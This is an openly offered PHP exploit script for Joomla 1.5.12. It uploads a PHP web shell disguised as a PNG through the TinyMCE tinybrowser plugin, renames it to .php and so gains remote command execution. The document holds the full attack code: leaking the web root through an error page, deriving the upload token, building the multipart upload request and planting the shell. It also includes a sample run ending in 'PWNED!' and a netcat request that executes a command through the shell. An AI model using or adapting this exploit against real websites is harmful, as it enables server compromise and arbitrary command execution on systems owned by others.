Joomla 1.5.12 Remote Code Execution via TinyMCE File Upload Vulnerabilit
<?php
/**
** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability
**
** Tested against :
** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9
** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12
**
** Luca "daath" De Fulgentis - daath [at] nibblesec.org
** http://blog.nibblesec.org
**
**/
/*
daath@shaytan:~$ php pwnoomla.php localhost /joomla
[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]
[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php
daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$
*/
$host = "localhost";
$port = "80";
$install_path = "/";
$path = "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser";
$dir = "/tinybrowser.php?type=image&folder=";
$upload = "/upload_file.php";
$rename = "/edit.php?type=file&folder=";
/*
* PHP shell
*/
$php_shell = "<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>";
echo "\n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]\n\n";
if($argc < 2) {
echo " Usage: php {$argv[0]} host joomla_install_path\n";
echo " Example : php {$argv[0]} localhost /joomla/ \n\n";
exit(1);
}
$host = $argv[1];
if($argc == 3) {
$install_path = $argv[2][0] == "/" ? $argv[2] : "/".$argv[2];
$install_path = $argv[2][strlen($install_path)-1] == "/" ? $install_path : $install_path."/";
}
echo " [#] Attacking {$host}:{$port}{$install_path}\n";
$resp = HTTPRequest("GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0\r\n\r\n");
if(strstr($resp, "Restricted access")) {
die(" [-] Joomla is NOT vulnerable, exiting.\n\n");
}
$webroot = get_webroot_pathname();
if($webroot == "") {
die(" [-] Web root pathname NOT FOUND, exiting.\n\n");
}
echo " [+] Web root pathname is : {$webroot}\n";
$seed = md5($webroot . "s0merand0mjunk!!!111");
echo " [+] Magic token is {$seed}\n";
$my_dir = "i" . rand();
echo " [#] Creating remote directory ... ";
$resp = HTTPRequest("GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0\r\n\r\n");
if(!strstr($resp, "directory has been successfully created")) {
die("FAILED\n [-] Error - creating directory, exiting.\n\n");
}
echo "DONE\n";
$my_shell = md5(time());
echo " [#] Uploading image ... ";
$data = "--1234567\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"{$my_shell}.png\"\r\n\r\n";
$data .= "{$php_shell}\r\n";
$data .= "--1234567--\r\n";
$req = "POST {$install_path}{$path}{$upload}" . "?obfuscate={$seed}&type=file&folder={$install_path}images/stories/{$my_dir} HTTP/1.1\r\n";
$req .= "Host: {$host}\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: multipart/form-data; boundary=1234567\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;
$resp = HTTPRequest($req);
if (!strstr($resp,"File Upload Success")) {
die("FAILED\n [-] Error - image uploading, exiting.\n\n");
}
echo "DONE\n";
echo " [#] Renaming image's extension (takes a while) ... ";
$data = "actionfile%5B0%5D={$my_shell}.png_&renameext%5B0%5D=php&renamefile%5B0%5D=shell.&sortby=name";
$data .= "&sorttype=asc&find=&showpage=0&action=rename&commit=\r\n\r\n";
$req = "POST {$install_path}{$path}/edit.php?type=image&folder={$my_dir}%2F HTTP/1.1\n";
$req .= "Host: {$host}\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: " . strlen($data) . "\r\n\r\n";
$req .= $data;
$resp = HTTPRequest($req);
if(!strstr($resp, "1 files have been successfully renamed")) {
die("FAILED\n [-] Error - image's extension renaming, exiting.\n");
}
echo "PWNED!\n";
echo " [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php\n\n";
exit;
function get_webroot_pathname() {
global $install_path;
$resp = HTTPRequest("GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1.\r\n\r\n");
$pos1 = strpos($resp, "in <b>");
$pos2 = strpos($resp, "libraries");
if($pos1 === false || $pos2 === false)
return "";
$init = $pos1 +strlen("in <b>");
$str = substr($resp, $init, $pos2-$init);
if($install_path != "/") {
$install_path2 = str_replace("/", "", $install_path);
$pos1 = strrpos($str, $install_path2);
if($pos1 === false)
return "";
$str = substr($str, 0, $pos1-1);
}
if($str[strlen($str)-1] == "\\")
$str = substr($str, 0, $pos-1);
if(strstr($str, "/") && $str[strlen($str)-1] != "/")
$str = $str . "/";
$pathname = str_replace("\\", "/", $str);
return $pathname;
}
function HTTPRequest($req) {
global $host, $port;
$s = @fsockopen($host, $port, $errno, $errstr, 10);
if(!$s) {
die("\n [-] Error in connection, exiting.\n\n");
}
fputs($s, $req);
$resp = "";
while(!feof($s)) {
$resp .= fgets($s);
}
fclose($s);
return $resp;
}
?>
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